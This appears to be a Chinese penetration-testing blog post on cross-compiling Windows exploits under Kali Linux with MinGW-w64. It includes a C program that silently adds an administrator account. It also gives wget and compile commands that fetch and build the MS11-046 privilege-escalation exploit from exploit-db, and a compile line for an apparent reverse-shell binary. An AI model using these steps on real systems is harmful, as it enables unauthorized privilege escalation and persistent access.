kali环境下编译Windows EXP
ssooking Lv5

MinGW-w64

MinGW-w64是一个开源的C/C++编译器,利用MinGW-w64可以实现在Linux环境下编译Windows可执行文件。

安装Mingw-w64:

1
sudo apt-get install mingw-w64

Win32和Win64是两种不同的体系结构,对于Win32,Mingw-w64名为i686-w64-mingw32-gcc,对于Win64,则名为x86_64-w64-mingw32-gcc。安装完毕后:

1
2
3
4
5
6
7
8
9
10
11
12
# C
i686-w64-mingw32-gcc # 32-bit
x86_64-w64-mingw32-gcc # 64-bit

# C++
i686-w64-mingw32-g++ # 32-bit
x86_64-w64-mingw32-g++ # 64-bit

i686-w64-mingw32-gcc [source file] –o [output file: .exe] <–lws2_32>
i686-w64-mingw32-g++ [source file] –o [output file: .exe]

i586-migw32msvc-gcc reverse.c -o custom-reverse.exe -lws2_32

与gcc有所区别的是,gcc编译时加上 -m32 生成 32 位可执行程序,加上 -m64 生成 64 位可执行程序。

测试代码编译

useradd.c

1
2
3
4
5
6
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
int main(){
int i;
i=system ("net user test1 123456 /add && net localgroup administrators test1 /add");
return 0;
}

编译

1
i686-w64-mingw32-gcc useradd.c -o u1.exe

EXP编译测试

CVE-2011-1249(MS11-046),此版本Windows操作系统在辅助功能驱动程序(AFD)中包含一个漏洞,该漏洞允许经过身份验证的非管理用户提升特权。针对其exp代码进行编译:

1
2
wget https://www.exploit-db.com/download/40564 -O 40564.c
i686-w64-mingw32-gcc 40564.c -o afd.exe –lws2_32

另外,还有很多exp是python写的,可以在Windows环境下安装pyinstaller等工具,把py程序转换成exe程序。可参考本博客:python打包exe 。

参考

  • Post title:kali环境下编译Windows EXP
  • Post author:ssooking
  • Create time:2019-12-16 00:00:00
  • Post link:https://ssooking.github.io/2019/12/kali环境下编译windows-exp/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.